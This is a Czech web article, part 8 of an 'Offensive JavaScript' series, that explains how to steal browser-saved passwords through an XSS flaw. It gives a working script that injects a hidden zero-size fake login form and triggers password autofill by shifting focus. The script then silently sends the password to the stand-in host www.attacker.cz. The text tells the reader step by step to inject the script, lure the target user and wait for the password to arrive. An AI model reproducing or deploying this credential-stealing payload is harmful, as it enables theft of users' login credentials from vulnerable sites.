Zpět na seznam článků     Číst komentáře (2)     Verze pro tisk

Útočný JavaScript (8)

Autor: .cCuMiNn.   
27.2.2011

Následujících několik dílů seriálu bude věnováno krádežím přihlašovacích údajů. V tomto dílu se zaměříme na krádeže hesel uložených webovým prohlížečem.


Uživatelé, kteří si usnadňují práci tím, že povolí webovému prohlížeči ukládání vložených hesel, mohou o tato hesla lehce přijít, pokud je aplikace zranitelná na XSS.

Pokud totiž útočník injektuje do obsahu webové stránky fake formulář, který směřuje na stejný cíl (atribut action formuláře) a pole pro jméno a heslo mají stejný název (atribut name) jako skutečný přihlašovací formulář, doplní webový prohlížeč po zadání jména automaticky odpovídající hodnotu do pole pro heslo. Tuto hodnotu pak není problém pomocí skriptu přečíst a přenést na stranu útočníka.

Aby došlo k automatickému vyplnění hesla je potřeba si trochu pohrát s focusem, který nejprve nastavíme do pole pro jméno a následně po krátkém časovém úseku jej tomuto poli odebereme. Heslo se po této maškarádě automaticky vyplní v prohlížečích FF 3.6 a Chrome. U Internet Exploreru 8 tento postup k vyplnění hesla nestačí. Chování skriptu v jiných browserech jsem nezkoumal.

Důležité také je, že vstupní pole musí být viditelná. Při použití stylu display:none k vyplnění hesla nedochází. Z tohoto důvodu jsem ve svém skriptu nastavil rozměry polí 0x0px.

Po té, co dojde k vyplnění hesla, stačí jej skriptem pouze přečíst a odeslat na svůj server nebo zdejšímu projektu GET2MAIL. V uvedeném skriptu jsem pro toto odeslání použil objekt XMLHttpRequest, který heslo odešle nepozorovaně na pozadí. Bohužel však toto řešení není možné použít v Chrome, který pro odeslání požadavku mimo doménu vyžaduje správná nastavení cross-origin permissions. U tohoto prohlížeče bude proto pro přenos hesla potřeba sáhnout po jiném způsobu.

V praxi tedy stačí uvedený skript nahrát na svůj webový server, upravit hodnoty některých atributů podle originálního formuláře a vyplnit v něm správné uživatelské jméno, k němuž si přejeme zjistit odpovídající heslo. Nakonec už jen skrz XSS zranitelnost injektujeme náš skript do webové stránky, nasměrujeme na ni cílového uživatele a vyčkáme na doručení hesla...


  1. function sendPass() {
  2.   document.getElementById('inpHeslo').focus();
  3.   heslo = document.getElementById("inpHeslo").value;
  4.   myXMLHttpRequest = new XMLHttpRequest();
  5.   if (myXMLHttpRequest) {
  6.     myXMLHttpRequest.open("GET", "http://www.attacker.cz?pass=" + heslo, false);
  7.     myXMLHttpRequest.send();
  8.   }
  9. }
  10.  
  11. document.write(''+
  12.   '<form name="loginFrm" id="loginFrm" method="post" action="login.php">'+
  13.   '  <input type="text" id="inpLogin" name="login" style="width:0;height:0">'+
  14.   '  <input type="password" id="inpHeslo" name="heslo" style="width:0;height:0">'+
  15.   '</form>');
  16.  
  17. document.getElementById('inpLogin').value="jmenoUzivatele";
  18. document.getElementById('inpLogin').focus();
  19. setTimeout("sendPass()",300);

Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 2/11

1  2  3  4  5    
(známkování jako ve škole)